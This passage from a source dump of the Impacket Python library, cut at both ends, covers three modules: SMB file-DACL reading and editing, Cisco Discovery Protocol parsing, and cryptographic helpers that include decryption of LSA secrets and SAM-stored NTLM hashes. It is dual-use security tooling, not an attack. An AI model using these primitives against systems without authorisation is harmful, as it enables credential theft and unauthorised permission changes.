action\n        return ace\n\n    def get_security_attributes(self, sec):\n        \"\"\"\n        Gets the security information of the given FileSecInformation object\n        :param sec: FileSecInformation instance\n        :return: SecurityAttributes\n        \"\"\"\n        # get owner SID and Group SID\n        owner = ACL_SID(sec.rawData[sec[\"OffsetToOwner\"]: sec[\"OffsetToGroup\"]])\n        group = ACL_SID(sec.rawData[sec[\"OffsetToGroup\"]: sec[\"OffsetToDACL\"]])\n\n        self.sids_to_names([owner, group])\n\n        try:\n            owner_name = self.sid_to_name[owner]\n        except KeyError:\n            owner_name = owner\n\n        try:\n            group_name = self.sid_to_name[group]\n        except KeyError:\n            group_name = group\n        security_attributes = SecurityAttributes(owner_name, group_name)\n\n        # get all dacl's\n        nt = sec.rawData[sec[\"OffsetToDACL\"]:]\n        ntuser = FileNTUser(nt)\n        ntace = ntuser[\"Buffer\"]\n\n        while len(ntace):\n            face = FileNTACE(ntace)  # set new FileNTACE\n            ntace = ntace[face[\"Size\"]:]  # slice the buffer\n            if face[\"SID\"] == b'': continue\n            sid = ACL_SID(face[\"SID\"])  # get the DACL SID\n            security_attributes.dacls[sid] = face\n\n        # Resolve all DACL SIDs to names\n        self.sids_to_names(list(security_attributes.dacls.keys()))\n\n        for sid, permissions in security_attributes.dacls.items():\n            try:\n                name = self.sid_to_name[sid]\n            except KeyError:\n                name = sid\n\n            security_attributes.readable_dacls[sid] = \"{}:{}\".format(name, permissions)\n\n        return security_attributes\n\n    def get_permissions(self, share_name, file_name):\n        \"\"\"\n        Connect to the given share and get the file permissions\n        @param share_name: the share name where the file is to be opened\n        @param file_name: file to get permissions from\n        @return: SecurityAttributes\n        \"\"\"\n        # set the file and tree handles for the given file\n        self.open_file(share_name=share_name, file_name=file_name)\n\n        try:\n            # query the file security information\n            result = self.connection._SMBConnection.queryInfo(\n                self.tid,\n                self.fid,\n                fileInfoClass=0,\n                infoType=3,\n                additionalInformation=0x00000017,\n            )\n            sec = FileSecInformation(result)\n\n            # get security attributes\n            security_attributes = self.get_security_attributes(sec)\n            return security_attributes\n        finally:\n            # ensure file handles are always closed, even on error\n            self.close_file()\n\n    @staticmethod\n    def insert_permission(sec, permission):\n        \"\"\"\n        This function will get the current security descriptor, and then\n        insert the given permission to it. Supports different actions:\n        - grant: Add permissions to existing ACE (OR operation)\n        - revoke: Remove specific permissions from existing ACE (AND NOT operation)\n        - delete: Remove the entire ACE\n        @param sec: current security descriptor\n        @param permission: new permission ACE with action attribute\n        \"\"\"\n        ntuser = FileNTUser(sec.rawData[sec[\"OffsetToDACL\"]:])\n        ntace = ntuser[\"Buffer\"]\n\n        new_buffer = b\"\"\n        sid_found = False\n        ace_deleted = False\n        action = permission.action\n\n        # enumerate the current permissions and search for the given permission sid\n        while len(ntace):\n            delete_ace = False\n            face = FileNTACE(ntace)  # set new FileNTACE\n            sid = ACL_SID(face[\"SID\"])  # get the DACL SID\n\n            if sid.rawData == permission[\"SID\"]:\n                sid_found = True\n\n                if action == 'grant':\n                    # Add the new permissions to the current permission (OR operation)\n                    face[\"SpecificRights\"] |= permission[\"SpecificRights\"]\n                    face[\"StandardRights\"] |= permission[\"StandardRights\"]\n                    face[\"GenericRights\"] |= permission[\"GenericRights\"]\n                elif action == 'revoke':\n                    # Remove specific permissions (AND NOT operation)\n                    face[\"SpecificRights\"] &= ~permission[\"SpecificRights\"]\n                    face[\"StandardRights\"] &= ~permission[\"StandardRights\"]\n                    face[\"GenericRights\"] &= ~permission[\"GenericRights\"]\n                    \n                    # If all permissions are revoked, remove the ACE entirely (Windows behavior)\n                    if (face[\"SpecificRights\"] == 0 and \n                        face[\"StandardRights\"] == 0 and \n                        face[\"GenericRights\"] == 0):\n                        delete_ace = True\n                        ace_deleted = True\n                elif action == 'delete':\n                    delete_ace = True\n                    ace_deleted = True\n\n            # Only keep ACE if not marked for deletion\n            if not delete_ace:\n                new_buffer += face.getData()\n\n            ntace = ntace[face[\"Size\"]:]  # slice the buffer\n\n        if sid_found:\n            # replace the current buffer with the modified one\n            ntuser[\"Buffer\"] = new_buffer\n            ntuser[\"Size\"] = len(new_buffer) + 8  # add the nt user attribute size\n            # Decrement ACE count if an ACE was deleted\n            if ace_deleted:\n                ntuser[\"NumACEs\"] -= 1\n        elif action != 'delete' and action != 'revoke':\n            # insert the permissions on the top of the other permissions\n            # (only for grant when ACE doesn't exist yet)\n            ntuser[\"Size\"] += len(\n                permission.getData()\n            )  # add the nt user attribute size\n            ntuser[\"NumACEs\"] += 1\n            ntuser[\"Buffer\"] = permission.getData() + ntuser[\"Buffer\"]\n\n        owner = sec.rawData[sec[\"OffsetToOwner\"]: sec[\"OffsetToGroup\"]]\n        group = sec.rawData[sec[\"OffsetToGroup\"]: sec[\"OffsetToDACL\"]]\n\n        sec_info_blob = sec.getData() + owner + group + ntuser.getData()\n        return sec_info_blob\n\n    def set_permissions(self, share_name, file_name, user, permissions, action='grant'):\n        \"\"\"\n        Add, remove, or modify permissions for a given user to the given file\n        @param share_name: the share name where the file is to be opened\n        @param file_name: file to set permissions to\n        @param user: user to edit permissions for; can be a SID as well\n        @param permissions: permissions in the icacls format (example: R,W,X,D).\n        NOTE: not all permission types are supported; currently supporting:\n        R - read-only access\n        W - write-only access\n        D - delete access\n        X - execute access\n        F - full control\n        @param action: action to perform - 'grant' (add), 'revoke' (remove), 'delete' (remove ACE)\n        @return: bool. whether the operation succeeded or not\n        \"\"\"\n        # open file descriptor\n        self.tid, self.fid = self.open_file(share_name, file_name, GENERIC_ALL)\n\n        try:\n            # permissions_to_ace function returns the new ACE to add\n            permission = self.permissions_to_ace(user, permissions, action)\n\n            result = self.connection._SMBConnection.queryInfo(\n                self.tid,\n                self.fid,\n                fileInfoClass=0,\n                infoType=3,\n                additionalInformation=0x00000017,\n            )\n\n            sec = FileSecInformation(result)\n            security_descriptor = self.insert_permission(sec=sec, permission=permission)\n\n            result = self.connection._SMBConnection.setInfo(\n                self.tid,\n                self.fid,\n                fileInfoClass=0,\n                infoType=3,\n                additionalInformation=0x04,\n                inputBlob=security_descriptor,\n            )\n\n            return result\n        finally:\n            # ensure file handles are always closed, even if permission resolution fails\n            self.close_file()\n"
  },
  {
    "path": "impacket/cdp.py",
    "content": "# Impacket - Collection of Python classes for working with network protocols.\n#\n# Copyright Fortra, LLC and its affiliated companies \n#\n# All rights reserved.\n#\n# This software is provided under a slightly modified version\n# of the Apache Software License. See the accompanying LICENSE file\n# for more information.\n#\n# Description:\n#   Cisco Discovery Protocol packet codecs.\n#\n# Author:\n#   Martin Candurra\n#\n\nfrom struct import unpack\nimport socket\n\nfrom impacket.ImpactPacket import Header, array_tobytes\nfrom impacket import LOG\n\nIP_ADDRESS_LENGTH = 4\n\nclass CDPTypes:\n\n    DeviceID_Type       = 1\n    Address_Type        = 2\n    PortID_Type         = 3\n    Capabilities_Type   = 4\n    SoftVersion_Type    = 5\n    Platform_Type       = 6\n    IPPrefix_Type       = 7\n    ProtocolHello_Type  = 8\n    MTU_Type            = 17\n    SystemName_Type     = 20\n    SystemObjectId_Type = 21\n    SnmpLocation        = 23\n    \nclass CDP(Header):\n    \n    Type = 0x2000\n    OUI =  0x00000c\n    \n    def __init__(self, aBuffer = None):\n        Header.__init__(self, 8)\n        if aBuffer:\n            self.load_header(aBuffer)\n            self._elements = self._getElements(aBuffer)\n\n    def _getElements(self, aBuffer):\n        # Remove version (1 byte), TTL (1 byte), and checksum (2 bytes)\n        buff = aBuffer[4:]\n        l = []\n        while buff:\n            elem = CDPElementFactory.create(buff)\n            l.append( elem )\n            buff = buff[ elem.get_length() : ]\n        return l\n\n    def get_header_size(self):\n        return 8\n        \n    def get_version(self):\n        return self.get_byte(0)\n        \n    def get_ttl(self):\n        return self.get_byte(1)\n        \n    def get_checksum(self):\n        return self.get_word(2)\n\n    def get_type(self):\n        return self.get_word(4)\n        \n    def get_lenght(self):      \n        return self.get_word(6)\n\n    def getElements(self):\n        return self._elements\n\n\n    def __str__(self):\n        tmp_str = 'CDP Details:\\n'\n        for element in self._elements:\n            tmp_str += \"** Type:\" + str(element.get_type()) + \" \" + str(element) + \"\\n\"\n        return tmp_str\n        \n\ndef get_byte(buffer, offset):\n    return unpack(\"!B\", buffer[offset:offset+1])[0]\n\ndef get_word(buffer, offset):\n    return unpack(\"!h\", buffer[offset:offset+2])[0]\n\ndef get_long(buffer, offset):\n    return unpack(\"!I\", buffer[offset:offset+4])[0]\n\ndef get_bytes(buffer, offset, bytes):\n    return buffer[offset:offset + bytes]\n\ndef mac_to_string(mac_bytes):\n    bytes = unpack('!BBBBBB', mac_bytes)\n    s = ''\n    for byte in bytes:\n        s += '%02x:' % byte\n    return s[0:-1]\n    \n    \n\nclass CDPElement(Header):\n\n    def __init__(self, aBuffer = None):\n        Header.__init__(self, 8)\n        if aBuffer:\n            self._length = CDPElement.Get_length(aBuffer)\n            self.load_header( aBuffer[:self._length] )\n\n    @classmethod\n    def Get_length(cls, aBuffer):\n        return unpack('!h', aBuffer[2:4])[0]\n\n    def get_header_size(self):\n        self._length\n\n    def get_length(self):\n        return self.get_word(2)\n                \n    def get_data(self):        \n        return array_tobytes(self.get_bytes())[4:self.get_length()]\n\n    def get_ip_address(self, offset = 0, ip = None):\n        if not ip:\n            ip = array_tobytes(self.get_bytes())[offset : offset + IP_ADDRESS_LENGTH]\n        return socket.inet_ntoa( ip )\n        \nclass CDPDevice(CDPElement):\n    Type = 1\n    \n    def get_type(self):\n        return CDPDevice.Type\n    \n    def get_device_id(self):\n        return CDPElement.get_data(self)\n\n    def __str__(self):\n        return \"Device:\" + self.get_device_id()\n\nclass Address(CDPElement):\n    Type = 2\n   \n    def __init__(self, aBuffer = None):\n        CDPElement.__init__(self, aBuffer)\n        if aBuffer:\n            data = array_tobytes(self.get_bytes())[8:]\n            self._generateAddressDetails(data)\n\n    def _generateAddressDetails(self, buff):\n        self.address_details = []\n        while buff:\n            address = AddressDetails.create(buff)\n            self.address_details.append( address )\n            buff = buff[address.get_total_length():]\n\n    def get_type(self):\n        return Address.Type\n    \n    def get_number(self):\n        return self.get_long(4)\n       \n    def get_address_details(self):\n        return self.address_details\n        \n    def __str__(self):\n        tmp_str = \"Addresses:\"\n        for address_detail in self.address_details:\n            tmp_str += \"\\n\" + str(address_detail)\n        return tmp_str        \n        \nclass AddressDetails():        \n          \n    PROTOCOL_IP = 0xcc          \n          \n    @classmethod\n    def create(cls, buff):\n        a = AddressDetails(buff)\n        return a\n\n\n    def __init__(self, aBuffer = None):\n        if aBuffer:\n            addr_length = unpack(\"!h\", aBuffer[3:5])[0]\n            self.total_length = addr_length + 5\n            self.buffer = aBuffer[:self.total_length]\n    \n    def get_total_length(self):\n        return self.total_length\n        \n    def get_protocol_type(self):\n        return self.buffer[0:1]\n        \n    def get_protocol_length(self):\n        return get_byte( self.buffer, 1)\n\n    def get_protocol(self):\n        return get_byte( self.buffer, 2)\n        \n    def get_address_length(self):\n        return get_word( self.buffer, 3)\n        \n    def get_address(self):\n        address =  get_bytes( self.buffer, 5, self.get_address_length() )\n        if  self.get_protocol()==AddressDetails.PROTOCOL_IP:\n            return socket.inet_ntoa(address)\n        else:\n            LOG.error(\"Address not IP\")\n            return address            \n            \n    def is_protocol_IP(self):\n        return self.get_protocol()==AddressDetails.PROTOCOL_IP\n            \n    def __str__(self):\n        return \"Protocol Type:%r Protocol:%r Address Length:%r Address:%s\" % (self.get_protocol_type(), self.get_protocol(), self.get_address_length(), self.get_address())            \n       \nclass Port(CDPElement):\n    Type = 3\n    \n    def get_type(self):\n        return Port.Type\n    \n    def get_port(self):\n        return CDPElement.get_data(self)                \n\n    def __str__(self):\n        return \"Port:\" + self.get_port()\n\n\nclass Capabilities(CDPElement):\n    Type = 4\n    \n    def __init__(self, aBuffer = None):\n        CDPElement.__init__(self, aBuffer)\n        self._capabilities_processed = False\n        \n        self._router = False\n        self._transparent_bridge = False\n        self._source_route_bridge = False\n        self._switch = False\n        self._host = False\n        self._igmp_capable = False\n        self._repeater = False\n        self._init_capabilities()\n        \n    def get_type(self):\n        return Capabilities.Type\n    \n    def get_capabilities(self):\n        return CDPElement.get_data(self)  \n        \n    def _init_capabilities(self):\n        if self._capabilities_processed:\n            return\n        \n        capabilities = unpack(\"!L\", self.get_capabilities())[0]\n        self._router = (capabilities & 0x1) > 0\n        self._transparent_bridge = (capabilities & 0x02) > 0\n        self._source_route_bridge = (capabilities & 0x04) > 0\n        self._switch = (capabilities & 0x08) > 0\n        self._host = (capabilities & 0x10) > 0\n        self._igmp_capable = (capabilities & 0x20) > 0\n        self._repeater = (capabilities & 0x40) > 0\n\n    def is_router(self):\n        return self._router\n\n    def is_transparent_bridge(self):\n        return self._transparent_bridge\n\n    def is_source_route_bridge(self):\n        return self._source_route_bridge\n        \n    def is_switch(self):\n        return self._switch\n\n    def is_host(self):\n        return self.is_host\n\n    def is_igmp_capable(self):\n        return self._igmp_capable\n        \n    def is_repeater(self):\n        return self._repeater\n\n                 \n    def __str__(self):\n        return \"Capabilities:\" + self.get_capabilities()\n                 \n                                \nclass SoftVersion(CDPElement):\n    Type = 5\n    \n    def get_type(self):\n        return SoftVersion.Type\n    \n    def get_version(self):\n        return CDPElement.get_data(self)\n\n    def __str__(self):\n        return \"Version:\" + self.get_version()\n\n  \nclass Platform(CDPElement):\n    Type = 6\n    \n    def get_type(self):\n        return Platform.Type\n    \n    def get_platform(self):\n        return CDPElement.get_data(self)                \n\n    def __str__(self):\n        return \"Platform:%r\" % self.get_platform()                \n      \n\nclass IpPrefix(CDPElement):\n    Type = 7\n    \n    def get_type(self):\n        return IpPrefix .Type\n    \n    def get_ip_prefix(self):\n        return CDPElement.get_ip_address(self, 4)                \n\n    def get_bits(self):\n        return self.get_byte(8)        \n        \n    def __str__(self):\n        return \"IP Prefix/Gateway: %r/%d\" % (self.get_ip_prefix(), self.get_bits())\n      \nclass ProtocolHello(CDPElement):\n    Type = 8\n    \n    def get_type(self):\n        return ProtocolHello.Type\n\n    def get_master_ip(self):\n        return self.get_ip_address(9)\n\n    def get_version(self):\n        return self.get_byte(17)\n\n    def get_sub_version(self):\n        return self.get_byte(18)\n\n    def get_status(self):\n        return self.get_byte(19)\n\n    def get_cluster_command_mac(self):\n        return array_tobytes(self.get_bytes())[20:20+6]\n            \n    def get_switch_mac(self):\n        return array_tobytes(self.get_bytes())[28:28+6]\n            \n    def get_management_vlan(self):\n        return self.get_word(36)\n\n    def __str__(self):\n        return \"\\n\\n\\nProcolHello: Master IP:%s version:%r subversion:%r status:%r Switch's Mac:%r Management VLAN:%r\" \\\n         % (self.get_master_ip(), self.get_version(), self.get_sub_version(), self.get_status(), mac_to_string(self.get_switch_mac()), self.get_management_vlan())\n                      \nclass VTPManagementDomain(CDPElement):\n    Type = 9\n    \n    def get_type(self):\n        return VTPManagementDomain.Type\n    \n    def get_domain(self):\n        return CDPElement.get_data(self)                  \n  \n  \nclass Duplex(CDPElement):\n    Type = 0xb\n    \n    def get_type(self):\n        return Duplex.Type\n    \n    def get_duplex(self):\n        return CDPElement.get_data(self)                \n                \n    def is_full_duplex(self):\n        return self.get_duplex()==0x1\n        \nclass VLAN(CDPElement):\n    Type = 0xa\n                \n    def get_type(self):\n        return VLAN.Type\n        \n    def get_vlan_number(self):\n        return CDPElement.get_data(self)\n\n\n\nclass TrustBitmap(CDPElement):\n    Type = 0x12\n    \n    def get_type(self):\n        return TrustBitmap.Type\n\n    def get_trust_bitmap(self):\n        return self.get_data()\n\n    def __str__(self):\n        return \"TrustBitmap Trust Bitmap:%r\" % self.get_trust_bitmap()\n\nclass UntrustedPortCoS(CDPElement):\n    Type = 0x13\n    \n    def get_type(self):\n        return UntrustedPortCoS.Type\n\n    def get_port_CoS(self):\n        return self.get_data()\n\n    def __str__(self):\n        return \"UntrustedPortCoS port CoS %r\" % self.get_port_CoS()\n\nclass ManagementAddresses(Address):\n    Type = 0x16\n    \n    def get_type(self):\n        return ManagementAddresses.Type\n        \nclass MTU(CDPElement):\n    Type = 0x11\n    \n    def get_type(self):\n        return MTU.Type\n        \nclass SystemName(CDPElement):\n    Type = 0x14\n    \n    def get_type(self):\n        return SystemName.Type\n\nclass SystemObjectId(CDPElement):\n    Type = 0x15\n    \n    def get_type(self):\n        return SystemObjectId.Type\n\nclass SnmpLocation(CDPElement):\n    Type = 0x17\n    \n    def get_type(self):\n        return SnmpLocation.Type\n\n\nclass DummyCdpElement(CDPElement):\n    Type = 0x99\n\n    def get_type(self):\n        return DummyCdpElement.Type\n\nclass CDPElementFactory():\n    \n    elementTypeMap = {\n                        CDPDevice.Type            : CDPDevice, \n                        Port.Type                 : Port,\n                        Capabilities.Type         : Capabilities,\n                        Address.Type              : Address, \n                        SoftVersion.Type          : SoftVersion,\n                        Platform.Type             : Platform,\n                        IpPrefix.Type             : IpPrefix,\n                        ProtocolHello.Type        : ProtocolHello,\n                        VTPManagementDomain.Type  : VTPManagementDomain,\n                        VLAN.Type                 : VLAN,\n                        Duplex.Type               : Duplex,\n                        TrustBitmap.Type          : TrustBitmap,\n                        UntrustedPortCoS.Type     : UntrustedPortCoS,\n                        ManagementAddresses.Type  : ManagementAddresses,\n                        MTU.Type                  : MTU,\n                        SystemName.Type           : SystemName,\n                        SystemObjectId.Type       : SystemObjectId,\n                        SnmpLocation.Type         : SnmpLocation\n                     }\n    \n    @classmethod\n    def create(cls, aBuffer):\n#        print \"CDPElementFactory.create aBuffer:\", repr(aBuffer)\n#        print \"CDPElementFactory.create sub_type:\", repr(aBuffer[0:2])\n        _type = unpack(\"!h\", aBuffer[0:2])[0]\n#        print \"CDPElementFactory.create _type:\", _type\n        try:\n            class_type = cls.elementTypeMap[_type]\n        except KeyError:\n            class_type = DummyCdpElement\n            #raise Exception(\"CDP Element type %s not implemented\" % _type)\n        return class_type( aBuffer )                   \n"
  },
  {
    "path": "impacket/crypto.py",
    "content": "# Impacket - Collection of Python classes for working with network protocols.\n#\n# Copyright Fortra, LLC and its affiliated companies \n#\n# All rights reserved.\n#\n# This software is provided under a slightly modified version\n# of the Apache Software License. See the accompanying LICENSE file\n# for more information.\n#\n# Description:\n#   RFC 4493 implementation (https://www.ietf.org/rfc/rfc4493.txt)\n#   RFC 4615 implementation (https://www.ietf.org/rfc/rfc4615.txt)\n#\n#   NIST SP 800-108 Section 5.1, with PRF HMAC-SHA256 implementation\n#   (https://tools.ietf.org/html/draft-irtf-cfrg-kdf-uses-00#ref-SP800-108)\n#\n#   [MS-LSAD] Section 5.1.2\n#   [MS-SAMR] Section 2.2.11.1.1\n#\n# Author:\n#   Alberto Solino (@agsolino)\n#\n\nfrom __future__ import division\nfrom __future__ import print_function\nfrom impacket import LOG\ntry:\n    from Cryptodome.Cipher import DES, AES\nexcept Exception:\n    LOG.error(\"Warning: You don't have any crypto installed. You need pycryptodomex\")\n    LOG.error(\"See https://pypi.org/project/pycryptodomex/\")\nfrom struct import pack, unpack\nfrom impacket.structure import Structure\nimport hmac, hashlib\nfrom six import b\n\ndef Generate_Subkey(K):\n\n#   +++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++\n#   +                    Algorithm Generate_Subkey                      +\n#   +++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++\n#   +                                                                   +\n#   +   Input    : K (128-bit key)                                      +\n#   +   Output   : K1 (128-bit first subkey)                            +\n#   +              K2 (128-bit second subkey)                           +\n#   +-------------------------------------------------------------------+\n#   +                                                                   +\n#   +   Constants: const_Zero is 0x00000000000000000000000000000000     +\n#   +              const_Rb   is 0x00000000000000000000000000000087     +\n#   +   Variables: L          for output of AES-128 applied to 0^128    +\n#   +                                                                   +\n#   +   Step 1.  L := AES-128(K, const_Zero);                           +\n#   +   Step 2.  if MSB(L) is equal to 0                                +\n#   +            then    K1 := L << 1;                                  +\n#   +            else    K1 := (L << 1) XOR const_Rb;                   +\n#   +   Step 3.  if MSB(K1) is equal to 0                               +\n#   +            then    K2 := K1 << 1;                                 +\n#   +            else    K2 := (K1 << 1) XOR const_Rb;                  +\n#   +   Step 4.  return K1, K2;                                         +\n#   +                                                                   +\n#   +++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++\n\n    AES_128 = AES.new(K, AES.MODE_ECB)\n\n    L = AES_128.encrypt(bytes(bytearray(16)))\n\n    LHigh = unpack('>Q',L[:8])[0]\n    LLow  = unpack('>Q',L[8:])[0]\n\n    K1High = ((LHigh << 1) | ( LLow >> 63 )) & 0xFFFFFFFFFFFFFFFF\n    K1Low  = (LLow << 1) & 0xFFFFFFFFFFFFFFFF\n\n    if (LHigh >> 63):\n        K1Low ^= 0x87\n\n    K2High = ((K1High << 1) | (K1Low >> 63)) & 0xFFFFFFFFFFFFFFFF\n    K2Low  = ((K1Low << 1)) & 0xFFFFFFFFFFFFFFFF\n\n    if (K1High >> 63):\n        K2Low ^= 0x87\n\n    K1 = bytearray(pack('>QQ', K1High, K1Low))\n    K2 = bytearray(pack('>QQ', K2High, K2Low))\n\n    return K1, K2\n\ndef XOR_128(N1,N2):\n\n    J = bytearray()\n    for i in range(len(N1)):\n        #J.append(indexbytes(N1,i) ^ indexbytes(N2,i))\n        J.append(N1[i] ^ N2[i])\n    return J\n\ndef PAD(N):\n    padLen = 16-len(N)\n    return  N + b'\\x80' + b'\\x00'*(padLen-1)\n\ndef AES_CMAC(K, M, length):\n\n#   +++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++\n#   +                   Algorithm AES-CMAC                              +\n#   +++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++\n#   +                                                                   +\n#   +   Input    : K    ( 128-bit key )                                 +\n#   +            : M    ( message to be authenticated )                 +\n#   +            : len  ( length of the message in octets )             +\n#   +   Output   : T    ( message authentication code )                 +\n#   +                                                                   +\n#   +++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++\n#   +   Constants: const_Zero is 0x00000000000000000000000000000000     +\n#   +              const_Bsize is 16                                    +\n#   +                                                                   +\n#   +   Variables: K1, K2 for 128-bit subkeys                           +\n#   +              M_i is the i-th block (i=1..ceil(len/const_Bsize))   +\n#   +              M_last is the last block xor-ed with K1 or K2        +\n#   +              n      for number of blocks to be processed          +\n#   +              r      for number of octets of last block            +\n#   +              flag   for denoting if last block is complete or not +\n#   +                                                                   +\n#   +   Step 1.  (K1,K2) := Generate_Subkey(K);                         +\n#   +   Step 2.  n := ceil(len/const_Bsize);                            +\n#   +   Step 3.  if n = 0                                               +\n#   +            then                                                   +\n#   +                 n := 1;                                           +\n#   +                 flag := false;                                    +\n#   +            else                                                   +\n#   +                 if len mod const_Bsize is 0                       +\n#   +                 then flag := true;                                +\n#   +                 else flag := false;                               +\n#   +                                                                   +\n#   +   Step 4.  if flag is true                                        +\n#   +            then M_last := M_n XOR K1;                             +\n#   +            else M_last := padding(M_n) XOR K2;                    +\n#   +   Step 5.  X := const_Zero;                                       +\n#   +   Step 6.  for i := 1 to n-1 do                                   +\n#   +                begin                                              +\n#   +                  Y := X XOR M_i;                                  +\n#   +                  X := AES-128(K,Y);                               +\n#   +                end                                                +\n#   +            Y := M_last XOR X;                                     +\n#   +            T := AES-128(K,Y);                                     +\n#   +   Step 7.  return T;                                              +\n#   +++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++\n\n    const_Bsize = 16\n    const_Zero  = bytearray(16)\n\n    AES_128= AES.new(K, AES.MODE_ECB)\n    M      = bytearray(M[:length])\n    K1, K2 = Generate_Subkey(K)\n    n      = len(M)//const_Bsize\n\n    if n == 0:\n        n = 1\n        flag = False\n    else:\n        if (length % const_Bsize) == 0:\n            flag = True\n        else:\n            n += 1\n            flag = False\n\n    M_n = M[(n-1)*const_Bsize:]\n    if flag is True:\n        M_last = XOR_128(M_n,K1)\n    else:\n        M_last = XOR_128(PAD(M_n),K2)\n\n    X = const_Zero\n    for i in range(n-1):\n        M_i = M[(i)*const_Bsize:][:16]\n        Y   = XOR_128(X, M_i)\n        X   = bytearray(AES_128.encrypt(bytes(Y)))\n    Y = XOR_128(M_last, X)\n    T = AES_128.encrypt(bytes(Y))\n\n    return T\n\ndef AES_CMAC_PRF_128(VK, M, VKlen, Mlen):\n#   +++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++\n#   +                        AES-CMAC-PRF-128                           +\n#   +++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++\n#   +                                                                   +\n#   + Input  : VK (Variable-length key)                                 +\n#   +        : M (Message, i.e., the input data of the PRF)             +\n#   +        : VKlen (length of VK in octets)                           +\n#   +        : len (length of M in octets)                              +\n#   + Output : PRV (128-bit Pseudo-Random Variable)                     +\n#   +                                                                   +\n#   +-------------------------------------------------------------------+\n#   + Variable: K (128-bit key for AES-CMAC)                            +\n#   +                                                                   +\n#   + Step 1.   If VKlen is equal to 16                                 +\n#   + Step 1a.  then                                                    +\n#   +               K := VK;                                            +\n#   + Step 1b.  else                                                    +\n#   +               K := AES-CMAC(0^128, VK, VKlen);                    +\n#   + Step 2.   PRV := AES-CMAC(K, M, len);                             +\n#   +           return PRV;                                             +\n#   +                                                                   +\n#   +++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++\n    if VKlen == 16:\n        K = VK\n    else:\n        K = AES_CMAC(bytes(bytearray(16)), VK, VKlen)\n\n    PRV = AES_CMAC(K, M, Mlen)\n\n    return PRV\n\ndef KDF_CounterMode(KI, Label, Context, L):\n# Implements NIST SP 800-108 Section 5.1, with PRF HMAC-SHA256\n# https://tools.ietf.org/html/draft-irtf-cfrg-kdf-uses-00#ref-SP800-108\n# Fixed values:\n#  1. h - The length of the output of the PRF in bits, and\n#  2. r - The length of the binary representation of the counter i.\n# Input: KI, Label, Context, and L.\n# Process:\n#  1. n := [L/h]\n#  2. If n > 2r-1, then indicate an error and stop.\n#  3. result(0):= empty .\n#  4. For i = 1 to n, do\n#    a. K(i) := PRF (KI, [i]2 || Label || 0x00 || Context || [L]2)\n#    b. result(i) := result(i-1) || K(i).\n#  5. Return: KO := the leftmost L bits of result(n).\n    h = 256\n    r = 32\n\n    n = L // h\n\n    if n == 0:\n        n = 1\n\n    if n > (pow(2,r)-1):\n        raise Exception(\"Error computing KDF_CounterMode\")\n\n    result = b''\n    K      = b''\n\n    for i in range(1,n+1):\n       input = pack('>L', i) + Label + b'\\x00' + Context + pack('>L',L)\n       K = hmac.new(KI, input, hashlib.sha256).digest()\n       result = result + K\n\n    return result[:(L//8)]\n\n# [MS-LSAD] Section 5.1.2 / 5.1.3\nclass LSA_SECRET_XP(Structure):\n    structure = (\n        ('Length','<L=0'),\n        ('Version','<L=0'),\n        ('_Secret','_-Secret', 'self[\"Length\"]'),\n        ('Secret', ':'),\n    )\n\n\ndef transformKey(InputKey):\n    # Section 5.1.3\n    OutputKey = []\n    OutputKey.append( chr(ord(InputKey[0:1]) >> 0x01) )\n    OutputKey.append( chr(((ord(InputKey[0:1])&0x01)<<6) | (ord(InputKey[1:2])>>2)) )\n    OutputKey.append( chr(((ord(InputKey[1:2])&0x03)<<5) | (ord(InputKey[2:3])>>3)) )\n    OutputKey.append( chr(((ord(InputKey[2:3])&0x07)<<4) | (ord(InputKey[3:4])>>4)) )\n    OutputKey.append( chr(((ord(InputKey[3:4])&0x0F)<<3) | (ord(InputKey[4:5])>>5)) )\n    OutputKey.append( chr(((ord(InputKey[4:5])&0x1F)<<2) | (ord(InputKey[5:6])>>6)) )\n    OutputKey.append( chr(((ord(InputKey[5:6])&0x3F)<<1) | (ord(InputKey[6:7])>>7)) )\n    OutputKey.append( chr(ord(InputKey[6:7]) & 0x7F) )\n\n    for i in range(8):\n        OutputKey[i] = chr((ord(OutputKey[i]) << 1) & 0xfe)\n\n    return b(\"\".join(OutputKey))\n\ndef decryptSecret(key, value):\n    # [MS-LSAD] Section 5.1.2\n    plainText = b''\n    key0 = key\n    for i in range(0, len(value), 8):\n        cipherText = value[:8]\n        tmpStrKey = key0[:7]\n        tmpKey = transformKey(tmpStrKey)\n        Crypt1 = DES.new(tmpKey, DES.MODE_ECB)\n        plainText += Crypt1.decrypt(cipherText)\n        key0 = key0[7:]\n        value = value[8:]\n        # AdvanceKey\n        if len(key0) < 7:\n            key0 = key[len(key0):]\n\n    secret = LSA_SECRET_XP(plainText)\n    return (secret['Secret'])\n\ndef encryptSecret(key, value):\n    # [MS-LSAD] Section 5.1.2\n    cipherText = b''\n    key0 = key\n    value0 = pack('<LL', len(value), 1) + value\n    for i in range(0, len(value0), 8):\n        if len(value0) < 8:\n            value0 = value0 + b'\\x00'*(8-len(value0))\n        plainText = value0[:8]\n        tmpStrKey = key0[:7]\n        print(type(tmpStrKey))\n        print(tmpStrKey)\n        tmpKey = transformKey(tmpStrKey)\n        Crypt1 = DES.new(tmpKey, DES.MODE_ECB)\n        cipherText += Crypt1.encrypt(plainText)\n        key0 = key0[7:]\n        value0 = value0[8:]\n        # AdvanceKey\n        if len(key0) < 7:\n            key0 = key[len(key0):]\n\n    return cipherText\n\ndef SamDecryptNTLMHash(encryptedHash, key):\n    # [MS-SAMR] Section 2.2.11.1.1\n    Block1 = encryptedHash[:8]\n    Block2 = encryptedHash[8:]\n\n    Key1 = key[:7]\n    Key1 = transformKey(Key1)\n    Key2 = key[7:14]\n    Key2 = transformKey(Key2)\n\n    Crypt1 = DES.new(Key1, DES.MODE_ECB)\n    Crypt2 = DES.new(Key2, DES.MODE_ECB)\n\n    plain1 = Crypt1.decrypt(Block1)\n    plain2 = Crypt2.decrypt(Block2)\n\n    return plain1 + plain2\n\ndef SamEncryptNTLMHash(encryptedHash, key):\n    # [MS-SAMR] Section 2.2.11.1.1\n    Block1 = encryptedHash[:8]\n    Block2 = encryptedHash[8:]\n\n    Key1 = key[:7]\n    Key1 = 